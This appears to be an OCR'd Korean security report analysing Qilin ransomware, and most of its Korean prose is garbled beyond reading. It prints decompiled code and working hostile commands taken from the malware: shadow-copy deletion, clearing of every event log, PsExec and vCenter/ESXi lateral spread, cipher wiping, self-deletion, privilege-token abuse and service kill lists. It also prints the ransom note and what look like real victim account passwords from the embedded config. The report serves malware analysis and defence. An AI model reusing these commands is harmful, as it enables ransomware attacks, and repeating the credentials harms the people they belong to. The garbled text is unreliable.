"backupexecmanagementservice", "backupexecrpeservice”, "gxblr", "gxvss", "gxclmgrs”, "gxevd”, "gxcimgr’, "gxmmm”, "gxvsshwprov”, "gxfwd”, "sapservice", "sap", "sap#$", "sapd#$”,
"saphostcontrol”, "saphostexec”, "gbcfmonitorservice”, "gbdbmgm", "gbidpservice”, "acronisagent”, "veeamnfssvc", "veeamdeploymentservice”, "veeamtransportsvc”, "mvarmor”,
"mvarmor64”, "vsnapvss”, "acrsch2sve”, "(*7)sql(.*7)"]

[08:03:27|+10.76646880] <Threadld(1)>: accounts: ["iperezu@nubox.com:Nubox.2020%%", "earayaq@nubox.com:Edu.123456"]

[08:03:27|+10.76688390] <Threadld(1)>: step: 0

[08:03:27]|+10.76732530] <Threadld(1)=: skip: 0

[08:03:27]+10.76778340] <Threadld(1)>: fast: 0

[08:03:27|+10.76835600] <Threadld(1)>: n: 4

[08:03:27|+10.76906160] <Threadld(1)=: p: 5

[08:03:27]+10.77026200] <Threadld(1)>: company_id: "4gDWPNLVT9"

non

nn

[08:03:27]+10.77425400] <Threadld(1)>: === END EMBEDDED CONFIGURATION ===
[08:03:27|+10.77484490] <Threadld(1)>: === START COMMANDLINE CONFIGURATION ===
[0 2] UE 4% g4 =l

| LE SM | SN 4

RSA_PUB =3t 7| 20| AL RSA 3717
password_hash gidello] Mo Hast HIZUHZ O SHA256 SHA|
directory_black_list 2=2 o2l ClaEz|
file_black_list A2l o2 mUH
file_pattern_black_list Az} of|2] =FEkt
white_symlink_dirs A=} o] pEE 23
white_symlink_subdirs Az3} o2l MEE 23
file_pattern_white_list OJALE
process_black_list D2NA S= iy
win_services_black_list MH|A = 4
accounts HERZ Mo H& HE
company_id A=l At
note HMCE LHE
step skip-step ZE MH Zi(step: L=t 25| )
skip skip-step 2= A Zi(skip: 71 & 282 %)
fast Fast i3} ZE A O&
n n-p =3} HE M ZH(n: Y= 25| )
P n-p 223} ZE 4F (p: U & HIE)
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A QIxfel LhE S0l ME M HF olFol=, 2AHel S lsH HYo2| HUHSE ekeleltt. password QA2
UE US SHA-256 2= AL F, 1 S{AIZI0| WE M0 MEE SZX HIZHS SHAZIR LXISHER] HAH X
ZR0oft HHE LA

Buf2 = &off_6D6418; // [INFO] Checking password validity
25 =13
5[2] = @;
26[@] = aDebugImpAlread; // [DEBUG|IMP] Already executing from requested SID context:
26[1] = e;
print_log_sub 4759F6(8Bu 2);
copy_vec_sub_41BDE@(v272, &parameter_config.password);
copy_vec_sub 4lBDEe(8¢~88 &= vtor_config.password_hash);
shaZSG sub _437610(&Buf2, v272);
] = Buf2;
1 = v308;
if ( va26[e] == v3e2 )
LOBYTE(v176) = memcmp(Bufl: Buf2, Buf2: v30@, Size: v326[@]) == @;// compare hashes
else
76 = 0;
[22 3] H[RH=z =l
HIZHS 2ol = HiEsH Hy, o Aost MY Mo 52| JIsS ARESI| i3 Y7t 22X Mooz A
SUX| =QISHCE O] HHEOME=E Bl AT &5 7|50| EX3l 22(xt St GRS 2ISHK| AR, 4 HHEME
Y 7150 AMAEEO] 22Xt Heto] ofd FHL HMHEYO HHS FTOILL --no-admin QUXE AHESIHE 2[R ATHO|
OfLI0 = &I%H0| JtSSx[TH, tHRES] 7|50] HHEE ASSHA| fb=Ct
if ( parameter config.should_be_admin )
if ( !chk_admin(al: v176) )
Buf2 = &off_6D651C; // [FATAL|UAC] Current user is not Admin! Open console as Administrator or execute with --no-admin flag (not recommended)
25 = 1;
26[2] = @3
[@] = aDebugImpAlread; // [DEBUG|IMP] Already executing from requested SID context:
26[1] = 0;
print_log_sub 4750F9(&Bu‘2),
4 = sub_401610(dwBytes: @x6Au, 1u);
if ( !vis4
m_rust_oom(1l, 106);
memcp;( —: Src: aCurrentUserIsN, Size: @x6Au); // Current user is not Admin! Open console as Administrator or execute with --no-admin flag (not recommended)
Buf2 = 92;
25 = 106;
326[0] = 106;
fatal_error_sub_5993A@(&Buf2);
}
Buf2 = &off_6D65B0; // [INFO|UAC] Current user is Admin
25 = 13
326[2] = @;
26[@] = aDebugImpAlread; // [DEBUG|IMP] Already executing from requested SID context:
326[1] = 05

print_log_sub_475@F@(&Buf2);

[ 4] 22Xt A3t 2ol

#2|xt Aot =l = LEHEl PowerShell Script & Sdli vCenter 0ff HAE RE SAEZ HMYH

o
vCenter 22 st 2l

ATREE SEHEE HEHYOL vCenter O AT 5§, ZE TAES IP E T 4 =
HIUHSE 2HAQo] M3l H|UHSZ HABICL 0|, 2t SAEN SSH 2 HZSH HEO| ESXi HHE HMAMYNE 2t SAEQ]
Al EG(/tmp)oil SAL = Of2H QIXtet BHH| AgHsiCt.

--password {} --path /vmfs/volumes/ -y
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# Create SSH session
$credential = New-Object System.Management.Automation.PSCredential ($ESXiUsername, (ConvertTo-SecureString $newESXiPassword -AsPlainText -Force))
try {
Write-Host "[INFO|POWERSHELL] Connecting to "$($esxiHost.VMHost.Mame)' host..."
$session = New-55HSession -ComputerName $esxiHost.VMHost.Wame -Credential $credential -AcceptKey -Errorfction Stop
Write-Host "[INFO|POWERSHELL] Connected to '$($esxiHost.VMHost.Name)' host.”
} catch {
fuselIP = $true
Write-Host "[WARNING|POWERSHELL] DNS resolution likely failed for '$($esxiHost.VMHost.Name)' host. Error: §_"
Write-Host "[INFO|POWERSHELL] Trying to connect via IP: '$(%esxiHost.IP)'"
$session = New-55HSession -ComputerName $esxiHost.IP -Credential $credential -AcceptKey -ErrorAction Stop
Write-Host "[INFO|POWERSHELL] Connected to '$($esxiHost.VMHost.Mame)' host via IP."

}

# Create a command stream
$stream = New-55HShellStream -Index $session.SessionId -ErrorAction Stop
Write-Host "[INFO|POWERSHELL] Created command stream for '$($esxiHost.VMHost.Name)'->'$($session.SessionId)™"

# Exscute payload

Write-Host "[INFO|POWERSHELL] Executing payload on host: '$(%esxiHost.VMHost.Mame)' ..."
$commandBinary = "$remoteFolderPath$localFileName $payloadfFlags™
$stream.WriteLine($commandBinary)

A

AN
o]

0] b

&
0
=

[37 5] vCenter SAE SSH ¢Z ol

2
0x
)

|0= vCenter #2t OIL|2} AD(Active Directory) BHECEE HMIIE A|LsH, MOtol= LHZE PsExec E
ZQ! HHYNE th SAE HHESICE AD &S fdiME 15 HEJL HRSIEE, PsExec Al ME
AL8StHLE, "accounts”Ofl AFM HO|El Q1F MEE Sd HKTCL 1F HEIF MHEKX| 7L LE SM0

= 4% o A|ARS| AD 20| A= EE ZAE0 oM H&S AESict

0 ot
n oo
nr ot
o et
o o

re

ox od nx
HL og
i

HL
N
£Q

add_psexec_option_sub_S54e4D@(&v43, va4, &em, v46);// -accepteula <IP> -u <username> -p <password> -c -f -h -d
/f -accepteula <IP> -c -f -h -d

LODWORD(Mem) = @;

make_command_sub_ S5BF82@(v46, &v42, &Yem, @, @);

run command sub SBF97@(&v43, win);

[23 6] PsExec HMIt

2zfel dEjel AD ZAE gol

powershell -Command "Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Where-Object { Test-
Connection -ComputerName $_.DNSHostName -Count 1 -Quiet } | ForEach-Object { $_.DNSHostName }"

DE AD SAE ol

powershell -Command "Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Select-Object -
ExpandProperty DNSHostName"

X Eet S AE0| P T}

cmd /C % Temp%\<PSEXEC_NAME>.exe -accepteula <IP> -c -f -h -d <qilin_path> <qilin_parameter> --spread-
process

oIF % Nof Fnf

O T

cmd /C % Temp%\<PSEXEC_NAME>.exe -accepteula <IP> -u <username> -p <password> -c -f -h -d
<gilin_path> <qilin_parameter> --spread-process
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bt

J|E BHOIME CIMI BE A8 Al YAl BC{o) 20 o] MAEl0f 208 I 2 AUOM, AN HEME of2fst

EISE FEd &=st= 7150 o0t
£ QLOGS zip o= L
v 3
v i Users =] Threadid(1).LOG

v

v AppData

v Local

v Temp
QLOG
[13 7] 23 miY %

= WHOIM --safe QIXHS ALRSIE HX| Al
SE3t § oHEER MARSHE 7|50| ERCE 3
it MMRIO7t AR E2OMoR SEEEE )|
QIRfollM S QXSS HHS § SZIict

[>

m
1o
=

HSE R0 HUHSE HHSHD, UNYOIS AR ZROYoR

1

HMOME QFHEE MAIZE 7|52 EXSILL, --safe SHS AFESIX

1

Of s=7t=IUct. ot Al =20 S5 Al oid Ag3el &d

3= GetTokenInformatmn(T kenHandle: TokenHandle[@], TokenInformationClass: TokenElevation, TokenInformation: &TokenInformation, TokenInformationLength: 4u
v3 T ( n != @;
|LABEL_3:
CloseHandle(hObject: v5);
|LABEL_4:
LODWORD(Ret 1) = 1;
HIDWORD(R 1) = aSoftwareMicros; // SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Token aDebugUpstartAu;
LONORD( 62) = @;
to utf16 sub SBODBO(&' kenInformation, &Returnlength);
/6 = TokenInf
LODNORD(»\—',L;H 1) =03
v7 = RegOpenKeyExW(hKey: (v4 - @x7FFFFFFF), lpSubKey: TokenInformation, ulOptions: @, samDesired: ©x2011Bu, phkResult: &ReturnLength);

[12 8] AlZf 20 52

AlsH OIX} H|7{ CHAF

‘ --safe, --escalated, --parent-sid, --dry-run, --fde, --logs, --spread, --spread-vcenter ‘

--kill-cluster S5 &dst ot 22, PowerShell HENHE AEdH A AAHOM HAFe SHAH MHAME SZ5HH,
S2{AH #H Mulaet IZNAS S Uiy 2IAE0 18, s} XM =it

qmemcpy(v1l, “-Command \"Stop-Cluster -Force\"", 30);
v3e = vl | @x1E@0000000LL ;

= 38;

/2 = hHeap;

if ( 'hHeap )
1

= GetProcessHeap();
if (ilv )

goto LABEL_28;
hHeap = v2;

= HeapAlloc(hHeap: v2, dwFlags: @, dwBytes: @xAu);
if ((Iv3)
hBEL_28:
m_rust_oom(1, 10);
qmemcpy(v3, "powershell”, 10);

[2% 9] Z2IAE Z2 B

" SBAE| MHIA: THADIN SHE0IM Of2f SAEE BiLIZ R0f 2 SAESO| BY gl0| X 4 UTE sh= MHIA
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Hest ASIE M EF DEMALL MHIAE APHO| ZESICL --no-proc, --no-services QUXIE A3 IZM|ALL
MHIA B 7|52 HIEESE = ASH --no-vm QXIS AIBSIH VM A DAL MH|A= BFSIA| ¢k, --kill-

7 getdd
cluster QXIS ArESIH SHAE| 2HH T2 M|AQ MHIAS & CHa0i FItalct,

712 B& iy Z2MA

vmms, vmwp, vmcompute, agntsvc, dbeng50, dbsnmp, encsvc, excel, firefox, infopath, isqlplussve, sq|,
msaccess, mspub, mydesktopqgos, mydesktopservice, notepad, ocautoupds, ocomm, ocssd, onenote,
oracle, outlook, powerpnt, sqbcoreservice, steam, synctime, tbirdconfig, thebat, thunderbird, visio,
winword, wordpad, xfssvccon, bedbh, vxmon, benetns, bengien, pvisvr, beserver, raw_agent_svc,
vshapvss, cagservice, gbidpservice, gbdbmgrn, gbcfmonitorservice, sap, teamviewer_service,
teamviewer, tv_w32, tv_x64, cvmountd, cvd, cvfwd, cvods, saphostexec, saposcol, sapstartsry,
avagent, avscc, dellsystemdetect, enterpriseclient, veeamnfssvc, veeamtransportsvc,

veeamdeploymentsvc, mvdesktopservice

Jl2 BB CfA AHA |

vmms, mepocs, memtas, veeam, backup, vss, sgl, msexchange, sophos, msexchange, msexchange\$,

wsbexchange, pdvfsservice, backupexecvssprovider, backupexecagentaccelerator,

backupexecagentbrowser, backupexecdivecimediaservice, backupexecjobengine,

backupexecmanagementservice, backupexecrpcservice, gxblr, gxvss, gxclmagrs, gxcvd, gxcimgr,
gxmmm, gxvsshwprov, gxfwd, sapservice, sap, sap\$, sapd\$, saphostcontrol, saphostexec,
gbcfmonitorservice, gbdbmgrn, gbidpservice, acronisagent, veeamnfssvc, veeamdeploymentservice,
veeamtransportsvc, mvarmor, mvarmor64, vsnapvss, acrsch2sve, (.*?)sql(.*?)

vmcompute, vmwp, vimms

vmms, vmcmopute, vmickvpexchange, vmicvmsession, vmicguestinterface, vmicshutdown,

vmicheartbeat, vmictimesync, vmicrdv, vmicvss, vmicvbsnap, vmicic, tscbroker, tsgateway,
termservlicensing, termservice, rdsessmgr

275l SRAE 2 T2AA |

dfssvc, dfsrs, wvrsvc, clussvc, rhs

X7lEls S2AE A MulA |

storagereplica, srmsvc, msiscsi, wintarget, clussvc
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Eh= 715k EXHeLCt

i
O

VSS(Volume Shadow Service)E Al&tot 5|, MZHE Y SAES AMXstn VSS

memcpy(v3, Src: aCVssadminExeDe, Size: @x28u); // /€ vssadmin.exe delete shadows /all /quiet
wab = vie | "*\e\e\e\e';

LODWORD(v47) = '*';

w1l = hHeap;

if ( !'hHeap )

vll = GetProcessHeap();
if ( Ivil )
goto LABEL 56;

hHeap = v1l;
¥
w12 = HeapAlloc(hHeap: v11, dwFlags: @, dwBytes: 3u);
if ( viz )
LABEL 56:

m_rust_com(1, 3);
vl2[2] = "d’;
*v12 = "'mc’;

[J2 10] el =AHE AR BHof

VSS AlZ 8 Manual 22 AH

cmd /C wmic service where name="vss' call ChangeStartMode Manual

cmd /C net start vss

cmd /.C vssadmin.exe delete shadows /all /quiet

cmd /C net stop vss

VSS Azt 23 Disabled 2 HA

cmd /C wmic service where name="vss' call ChangeStartMode Disabled

st FII1HOR W2t 2E0|A PowerShell Script & Aldis A|ARIC| DE O[HE ZE 7tMQt AMX|BICE

.rdata:@88474DC aLogsGetWineven db '$logs = Get-WinEwent -ListlLog * | Where-Object {$_.RecordCount} |'
.rdata:eas47ADC ; DATA XREF: sub_SARBE@+HCETO

.rdata:@8847ADC ; delete_eventlog_sub_SC2BF@+49to
.rdata:@8847810 db ' Select-Object -ExpandProperty LogName ; ForEach ( $1 in $logs |’

.rdata:@es4765E db * Sort | Get-Unigue ) {[System.Diagnostics.Ewventing.Reader.Eventlo’

.rdata:@084769F db 'gSession]::GlobalSession.ClearLog(31)}’

[3Z 11] O|HIEZT AK| HHO
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AZofst7| Fol| ofH T MEA FIHEl --fde QUXte| A8 ORE =elsict ClHZ HIA[X[o =™ FDE/DASD
mode 2t= B¥Z AI&3t=0|, 0|= Full Disk Encryption/Direct Access Storage Device 2| 2XAIE2 EF MZ0| 7ts8h M
EHXE TH| L=t 715 Ao|2tn FHEICE i UXE ALESIH LTS TIMSHK| i T2MAE B=oiCh= ot

AF ZE0W SEu UEYD HI Al ST QXIS MHSICHs HOZ 0|R0f 2ot 7150] OfF PHEX| e Ao selErt,

=

if ( this[2].is_fde )
deepcopy_sub_454EA@(paths, this);
LODWORD(v338[@]) = &off_6D742C; // [INFO|FDE] FDE/DASD mode detected
HIDWORD(v333[@]) = 1;
LODWORD(v338[2]) = @;
LODWORD(v338[1]) = aDebugImpAlread;
HIDWORD(v338[1]) = @;

print_log_sub_475@F@(v333);

LODWORD(v333[@]) = &off_6D745@; // [FATAL|FDE] Not implemented
HIDWORD(v335[@]) = 1;

LODWORD(v333[2]) = @;

LODWORD(v333[1]) = aDebugImpAlread;

HIDWORD(v338[1]) 3
print_log_sub_4750F@(v333);
exit_process(uExitCode: 1u);

[22 12] fde 2%t AFR 015 2l

A CEHZ|L = AELL 20| Y28} AS X|HSt= Target Mode 2t 2= ZZ C|A39 HERA 3R

ol &= QIX} EF AMSBSIA| RJYCHH, 2Z LA} HEQIE 2F ATest=E Global Mode £ H#BiCt Global
Mode OlME 2Z ClA3 Y3, HEQZ 25 20 A=sl, Mol dFel MEU 453t FAREICH A HAEME

HESRA ezst YAMS O MESI] EHA7| Wiz, Z2e] 7I15E HMost7| 9131 --no-mounted 21X}t 7ML

Jbe N, H2E 22 SEbo|Hof gt 2BE HMEIH —no-local 2 HIENS B & rk.

indvolume = FindFirstVolumeW(lpszVWolumeName: v4, cchBufferLength: @x1@5u);
if { hFindvolume I= -1 )

VS o= 8;
while { lpMem[v5] )
1
if ( +H+vs == Bx1es )
{
vS = @x1@s;
goto LABEL 27;

}

if (w5 >= #xles )

core::slice:rindex::slice_start_index len_fail();
LABEL_27:

LOWORD (v66[@]) = 8;

HIDWORD(v66[8]) = lpMem;

LODWORD(vES[1]) = &lpMem[v5];

double_to_utfd_sub_SBB7E@(&vE7, vea);

LODWORD(vS6) = &v67;

LODWORD(vEE[@]) = &off_B8485A4; // [DEBUG|VOLUME] Found logical volume:
HIDWORD(vEE[8]) = 1;

LODWORD(vEG[2]) = @;

HIDWORD(v56) = sub_SADSER;

LODWORD(vEG[1]) = &uS6;

HIDWORD(vE6[1]) = 1;

print_log sub_4758Fe( A

57 = v68;

vEE = VB7j
initialize_wvelume_sub_SC4D3@8(ves, &u56);

[22 13] HEE E2fo|lE HE 23
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o|=0l= HEl HERA 37 20 FEe HIZIP| FEE 84 Az HEHI 37 ZCt HEHI Hi=I17]
AZ3lBICt i 7152 --no-mount £ HEAM3 g 4 UCH

3

create_thread_pool sub S8R9F@(&v322, paths);
if ( v3ee )

*paths = Roff_6D6ACS;
*&paths[4] = 13

*&paths[16] = @;

*&paths[E] abebugImpilread;
*&paths[12] = @;
print_log_sub_47seFe(paths);
if ( fw347 )

*paths = &off_B46Ce8;

*&paths[4] = 1;

*&paths[16] = @;

*&paths[8] aCalledOptionUn_2;
*&paths[12] = a;

print_leog_ sub_avseFe(paths);
collect_mounted_shares_info(al: v343);

*paths = &off_6DBB2C;
*&paths[4] = 1;

*&paths[16] = @;

*&paths[8] = aDebugImpAlread;
*&paths[12] = &;

print_log_ sub_47seF@(paths);
if ( w349 )

*paths = Roff_B46C48;
*&paths[4] = 1;

*&paths[16] = @;

*&paths[E] aCalledOpticonUn_2;
*&paths[12] = @;
print_log_sub_4758F@(paths);
collect_network_shorcuts(v343);

// check --no-mounted

// [INFO|AUTO] Mounted shares pipeline started

// [WARNING|SYSTEM] Mounted shares list is empty. Refreshing...

// [INFO|AUTO] Metwork shortcuts pipeline started

// [WARNING|SYSTEM] MNetwork shortcuts list is empty. Refreshing...

[:E.l

14] HZE

22tQl HEfe| AD ZAE =9l

powershell -Command "Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Where-Object { Test-
Connection -ComputerName $_.DNSHostName -Count 1 -Quiet } | ForEach-Object { $_.DNSHostName }"

2

=

ZE AD SAE ol

powershell -Command "Import-Module ActiveDirectory ; Get-ADComputer -Filter * | Select-Object -

ExpandProperty DNSHostName"

A0 HSHIE{(1600-7028)
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M AAR HEE ZE HERR HEE eolsl, 2t HEHI MEUS| BE A0 HES Aot BteF HHO| It

=
SAET} HOIE|B, BiEt SAES o ~-no-network IXtS ALSSH HigHsiE 4 QUCt.

m_make_subnet_list_sub_4817E@(al: v196);
if (=1 96 )

195[8];
&off_84701C; // IP addresses for available shares.

s
t:fmt::inum: :imp: :<impl core::fmt::Display for usize>::fmt;

[22 15] MEY et

a

Yzt ol C|AEz|
windows, system volume information, intel, admin$, ipc$, sysvol, netlogon, $windows.~ws, application

data, mozilla, program files (x86), program files, $windows.~bt, msocache, tor browser, programdata
boot, config.msi, google, perflogs, appdata, windows.old, appdata

$recycle.bin, admin$

, ., boot, windows, windows.old,

=3t ol my

desktop.ini, autorun.ini, ntidr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin,
ntuser.ini, ntuser.dat.log, autorun.inf, bootmgr, bootmgr.efi, bootmgfw.efi, #recycle, autorun.inf, boot.ini
bootfont.bin, bootmgr, bootmgr.efi, bootmgfw.efi, desktop.ini, iconcache.db, ntidr, ntuser.dat
ntuser.dat.log, ntuser.ini, thumbs.db, #recycle, bootsect.bak,

efst ool =EAt

themepack, nls, diapkg, msi, Ink, exe, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, diagcab, diagcfg,
pdb, wpx, hip, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com,
deskthemepack, shs, theme, mpa, nomedia, spl, cpl, ady, icl, msu, 4gDWPNLVT9(encrypted file)

2 fotof oM, wiM A|ARS| CPUID E S3ll AES-NIE XISH=X| Sfelptct 2 AES-NIE X|35HH AES-256(CTR)
2NEFECZ WEA oiES Y

—_
[P o o o
olsstet 4 OB, XIYSHK| 9S HL ChaCha20 Y1a|ZOR mUS skt
cpuid_sub_49EBD@(&v16, 1, 0);
if ( (ECX & @x2000000) == @ )
LODWORD(v16) = &off_737FFC; // [WARNING] CPU doesn't support AESNI instructions. Using ChaCha2@ mode.
LABEL_5:
HIDWORD(v16) = 1;
vio = 8;
ECX = aWarningCpuDoes; // [WARNING] CPU doesn’t support AESNI instructions. Using ChaCha2@ mode.
vi8 = @;
print_log_sub_4750F@(&v16);
return 9;
LODWORD (v = &off_738038; // [INFO] AESNI support detected! Using AES-CTR mode
=1;
aWarningCpuDoes; // [WARNING] CPU doesn't support AESNI instructions. Using ChaCha2@ mode.

[33! 16] AES-NI X[ of8 =il
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Qilin MM E= TAS stet of LA Mol MEE ¢T3 REo et B2 Al want My dset (EE A™sict
. fast =12 H¥E 32, oY 49 IMB 2 23}
. step = 10, skip = 20 22 MHEl AL 10MB [HE Aststn 20MB THE 7L EE =
. n=5p=72 AFE L, 5MB 2 AS3sta OfA T7|9Q] 7%EHE AL EE2 =
. ofR F40| MHEX YL} BE T2 RS SMo| HE FQ, MY MH Yz}
1MB Encryption Step * 1MB | nxIMB
Skip * TMB p% of total size
Step + 1MB ST
Skip * 1MB p% of total size
Normal Data
Step + 1M EEEITEES
Skip * TMB p% of total size
Fast mode step - skip mode n - p mode
- Encrypted Data
Normal Data
[32! 17] =3l ZEE ot dhAl
oY Adsel Zolle HiERiH HIHE Qilin HMY o2 O|n|X|Z2 HZASHH, AAHM| HA= DE D2IE FKE Sl

\VE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND
FIND THE

README . TXT FILE

YOUR SYSTEM

BEEN BLOCKED

HAS

BY QILIN RANSOMWARE

FIND THE README.TXT FILE

AVE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND - YOU HAVE BEEN PWND

=

i 20] CHEAIE|(1600-7028)

SK’P

18] Qilin 2H<0of o|O|X|(F) A =

YOU HAVE BEE!

-- Qilin
Your network/system was encrypted. Encrypted files have new extension.

-- Compromising and sensitive data

We have downloaded compromising and sensitive data from you system/network

If you refuse to communicate with us and we do not come to an agreement, your data
will be published. Data includes:

- Employees personal data, CVs, DL, SSN.

- Complete network map including credentials for local and remote services. - Finan
cial information including clients data, bills, budgets, annual reports, bank state

ments.

- Complete datagrams/schemas/drawings for manufacturing in solidworks format - And

YOU HAVE BEE! more..

24g|
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2tef --no-destruct 2IXE ALESIX| §UCHH, S= ZTO| Xp7| XS APH[SHCE

3
lptem[@®] = &off_B4801C; // /€ timeout /T 18 & Del
1pMem[1] = 2;

14 = B;

ife] = vz;

3e[@] = vo;

2[1] = sub_SA4278;

12 = v3e;

=1;

5[1] =
concat str sub_4181AB(&.2', LpMem); /4 /C timeout /T 1@ & Del {current_path}
run_command_suh_SBFB?B(&.;J, 1pMem);

(32 19] A:ALI0] KETFALK

4. AEl 71

EQST Insight OflA] EAS Tdst HHolls ZXiet 7ISOIX[T, 2[4 HTOME AME 715S0] T ZAfeict. Chgh i
71552 AHEIE JEiRolE, 2[4 HHAME OS] ARt AHE OfRE 2elstu QAT

O[H0ll= cipher HHOIS B3 ClAZ0| Bl B7HS AJfSH: JIUS ALSHCL HA HHOIME --no-zero IXE 7152
Rofgt 4 Q= HH HOLL, ARIZE ST JI50| ARIE 2O Helsit,

&off_1835D30C; /! /C cipher fw:

39 = sub 191A2D39;
ccncat - str(&v3 &v16);
ncessHeap = hHeap,
1f { 'hHeap )

GetPrccessHeap();

1f (
goto LABEL 2
hHeap = ProcessHeap;

}
w3 = HeapAlloc(hHeap: ProcessHeap, dwFlags: @, dwBytes: 3u);
if ( v3 )
LABEL_23:

aub lBBlA? 9(1, 3);

F;n_cmd(& 38);

[22! 20] O]F W<l C|A3 HI

3l 37t H2| B

L O
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7|50| EXstRL

Lt oidl HEOM = QIR =helstn 7|52

‘[e] = &off_1024DEAS;
[1] =1;
m1281 132[0] o;

LOBYTE(vi65[@]) = BYTE2(c

ss[e] = viss;

s[1] =
LODbDRD( 158) = v155;
HIDWORD(v158) = 1;

prlnt log_sub_1@@5FE20( V1
[@] = &off_1024DEBC;

prlnt log_sub_1@@5FE28(v1

7[@] = &off_1024DEDS;
157[1] = 1;
159. w1281 _i32[e] =
LOBYTE( [e])
[9] =
55[1] =

7LT$bocl$u20$as$u29$co*e

LT$bool$u20$asSu20$ccre.

."[1] =1;
'.m1281 132[9]
LOBYTE(v1 [e]) = ;(;,
155[@] =
155[1] = _
LODWORD(v158) = v155;
HIDWORD(v158) = 1;

SLTSbcc1$u28$as$u20$ccre.

/

// no_wallpaper:

uct[23]);

.fmt..Debug$GT$: : fmt: :hlc@656c5ed2e51c5;

57)s

// is_note:

ig_struct[23]);

.fmt..Debug$GT$: : fmt: :h1lc@656c5ed2e51c5;

57)5

// delete_directories

uct[24];

.fmt..Debug$GT$: :fmt::h1lc@656c5ed2e51c5;

[ 21] O|F™ HTQ| --no-delete &2l F=

b 2 Hets st 45 79| M7Holct o

impersonate 21X AHe fotez

HZEO| M= SYSTEM
Mzl T2NAQ| EZZ SH|s] HAH

Azt I Ys

maMAg Hete ZHSIHLE, --
8t 7150| EXY3MCH

J2{Lt AN HTOME 2ok 22 Aot &5 71S0] ARIEAD ofo| w2t Aot d5 J|sE HIZYEStE --no-escalate 9t
EH™ Hoto| AHEEZ X|HSt= --impersonate Q1AL 0[0] Agto] ASES LIEHAE --escalated QIXIZF AFRE[X] =C}. Cfot
E7 SID(Security Identifier)2| #tt HEE 2tQI5t7Lf, R Al diE SID HES 71X Z2MAS| EES SH|S] AHE5t= --
parent-sid QIXt= A5 EEte[d QUCH
1. = gLsassExe; // lsass.exe
s1[1] = 9;
1[2] = aWinlogenExe; // winlogon.exe
v1[3] = 12;
._[4] = &unk_1635DB18; J/ wininit.exe
[5] = 11;
.: = hH;ap;
if ( 'hHeap )
{
3 = @GetProcessHeap();
if (w3 )
goto LABEL_54;
hHeap = v3;
4 = HeapAlloc(hHeap: v3, Flags: @, dwBytes: @x18u);
if ( lva )
WEEL 54:
rust_oom(al: 4, a2: 16);
oG = -165
*u4 = ZaSedebugprivile; // SeDebugPrivilege
*(y4 + 1) = 16;
*(vd + 2) = &unk_1835DB24; // SeImpersonatePrivilege
*(va + 3) = 223
while ( )
{

*Qus[u6 + 28];
*2us[u6 + 16];
8;

o
n o

£

}

adjust_token_privilege sub 181B62DB(azl:

v8, a2: v7);

[2%

A0 HSHIE{(1600-7028)

SK’P

23] O/ o] et M

o
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5 28

Qilin 290l 1ES Reas @Y J|woR SEEls TEo=Z, Aold el HY EHS E dFof 2 I

YOS JHLSIR BOIT 22l TS AW £ UTE KAstD UCE 2024 HWHE Y BRI 1SS BOE olo)

WSt BUS 07| ASOIEA, 2025 Wols Tk 9igEel B&S Hols 18 5 SHtE X2fY ch 37 Agenda

AHSEl AMSH #Mglole] T15S QXE4SEA RES| WMol oD, A4 BiH HMUUME JIE TS
MESHALE 2T 7|52 2 e 5 K&l WatS Ho|n Utk A2 Iufol 2 FS 0D Y Y IS0l

BHE, ool 2 M=ot Ci ofto| Cifet FR4o| YxEC)

6.loCs

Qilin Ransomware SHA256

ea04f4d508481523918fe0f0ce5a48b6a74560e816a83e150bf22b110cd6716f
58f48f7105e4dc309ac98aac6b3e979749ebd1c538402af4d499efd2839a6¢c4a
03846420849bd03645e675f1b8d86fc31d08c39728cf6d3d4ab209380e843ef7
da97f1e63dafe1166925851a953ab8577021acf9439b4809f9d593278694e83b
719cee46290eb95409550efdaade02fd82d53bd7d532e2031b51f3fcff4b8f61
432536b11c3bbe494f72de44d1b4dcfd4e2df3bd9fealad675ed6ae27f30c3c

Qilin Ransomware(Insight Ver) SHA256
27f7a332bal0bae9dbc527ea25¢787¢b1850f0b34295cd49118f040f08f4fe56

Qilin Ransomware T1&H|

struct QilinConfig
{

uint32_t timer;

uint32_t print_delay;

Vec32 *password; [* --password={password} */
uint32_t reserved_1;

uint32_t password_len;

Vec32 *paths_vec; [* --paths={paths}, .. */
uint32_t reserved_2;

uint32_t paths_vec_size;

Vec32 *ips_vec; [* --ips={IpAddress}, .. */
uint32_t reserved_3;

uint32_t ips_vec_size;

Vec32 *exclude_vec; [* --exclude={paths}, .. */
uint32_t reserved_4;

uint32_t exclude_vec_size;

Vec32 *impersonate_account; [* --impersonate={StringAccount} */
uint32_t reserved_5;

uint32_t impersonate_account_len;

Vec32 *parent_sid; [* --parent-sid={StringSid} */
25
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h

uint32_t reserved_6;

uint32_t parent_sid_len;
uint8_t enable_sandbox_detection;
uint8_t no_escalate;

uint8_t run_in_safe_mode;
uint8_t no_priority;

uint8_t should_be_admin;
uint8_t encrypt_local_computer;
uint8_t encrypt_mounted_shares;
uint8_t encrypt_domain_area;
uint8_t encrypt_network_area;
uint8_t enable_extension_filter;
uint8_t enable_file_filter;
uint8_t enable_dir_filter;
uint8_t enable_autostart;
uint8_t enable_process_Killer;
uint8_t enable_service_Killer;
uint8_t enable_vm_Kkiller;
uint8_t enable_cluster_Killer;
uint8_t with_extension;

uint8_t no_wallpaper;

uint8_t is_note;

uint8_t is_destruct;

uint8_t is_zeroing;

uint8_t print_image;

uint8_t force;

uint8_t debug;

uint8_t no_logs;

uint8_t is_fde;

uint8_t is_spreading;

uint8_t is_spreading_vcenter;
uint8_t is_dry_run;

uint8_t collect_logs;

uint8_t escalated;

uint8_t spread_process;

typedef struct Vec32 {

uint32_t data;
uint32_t len;
uint32_t cap;

} Vec32;

struct EmbeddedConfig

{

/* use '--no-sandbox': 0 */
/* use '--no-escalate': 1 */
[* use '--safe': 1 */
/* use '--no-priority':1 */
[* use '--no-admin': 0 */
/* use '--no-local': 0 */
/* use '--no-mount': 0 */
